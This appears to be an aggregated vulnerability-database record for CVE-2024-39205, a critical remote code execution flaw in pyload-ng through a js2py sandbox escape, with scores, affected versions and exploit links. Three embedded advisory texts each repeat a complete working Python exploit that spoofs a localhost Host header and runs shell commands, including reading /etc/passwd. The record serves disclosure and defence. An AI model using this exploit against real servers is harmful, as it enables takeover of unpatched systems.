{"id":"CVE-2024-39205","aliases":["EUVD-2024-2864","GHSA-r9pp-r4xf-597r","PYSEC-2026-499"],"status":"published","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-10","score":0.16538,"percentile":0.9703,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-94"],"published":"2024-09-09T18:17:20Z","modified":"2026-07-01T20:23:02Z","exploits":[{"source":"metasploit","id":"exploit/linux/http/pyload_js2py_cve_2024_39205","title":"Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)","type":"exploit","platform":"Linux,Unix","date":"2024-10-28","verified":true,"url":"https://www.rapid7.com/db/modules/exploit/linux/http/pyload_js2py_cve_2024_39205"},{"source":"pocgithub","id":"Marven11/CVE-2024-39205-Pyload-RCE","title":"Marven11/CVE-2024-39205-Pyload-RCE","date":"2024-10-26","url":"https://github.com/Marven11/CVE-2024-39205-Pyload-RCE"},{"source":"pocgithub","id":"btar1gan/exploit_CVE-2024-39205","title":"btar1gan/exploit_CVE-2024-39205","date":"2025-12-23","url":"https://github.com/btar1gan/exploit_CVE-2024-39205"}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev85"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev85"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85"]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev85"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85"]}],"products":[{"vendor":"pyload-ng_project","product":"pyload-ng"}],"references":[{"url":"https://github.com/pyload/pyload","tags":["package"]},{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r","tags":["web"]},{"url":"https://github.com/Marven11/CVE-2024-39205-Pyload-RCE/tree/main"},{"url":"https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape","tags":["web"]},{"url":"https://github.com/advisories/GHSA-h95x-26f3-88hr","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39205","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","tags":["advisory"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-39205","description":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","status":"published","published":"2024-10-28T00:00:00Z","modified":"2024-10-30T20:56:49.427Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"updated_at":"2026-11-02T14:34:18.951288Z"}],"euvd":[{"id":"EUVD-2024-2864","description":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","status":"published","published":"2024-10-28T00:00:00Z","modified":"2024-10-30T20:56:49Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:05:13.91882Z"}],"ghsa":[{"id":"GHSA-r9pp-r4xf-597r","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n","status":"published","published":"2024-09-09T18:17:20Z","modified":"2024-10-28T21:52:38Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:38:14.769863Z"}],"nvd":[{"id":"CVE-2024-39205","description":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","status":"published","published":"2024-10-28T20:15:05.517Z","modified":"2026-06-17T07:41:31.3Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"updated_at":"2026-11-02T14:10:34.877798Z"}],"osv":[{"id":"GHSA-r9pp-r4xf-597r","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n","status":"published","published":"2024-09-09T18:17:20Z","modified":"2026-06-29T12:26:32.067378371Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"PYSEC-2026-499","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n ```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n \ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n","status":"published","published":"2026-06-29T11:50:40.987839Z","modified":"2026-07-01T20:23:02.954778Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}
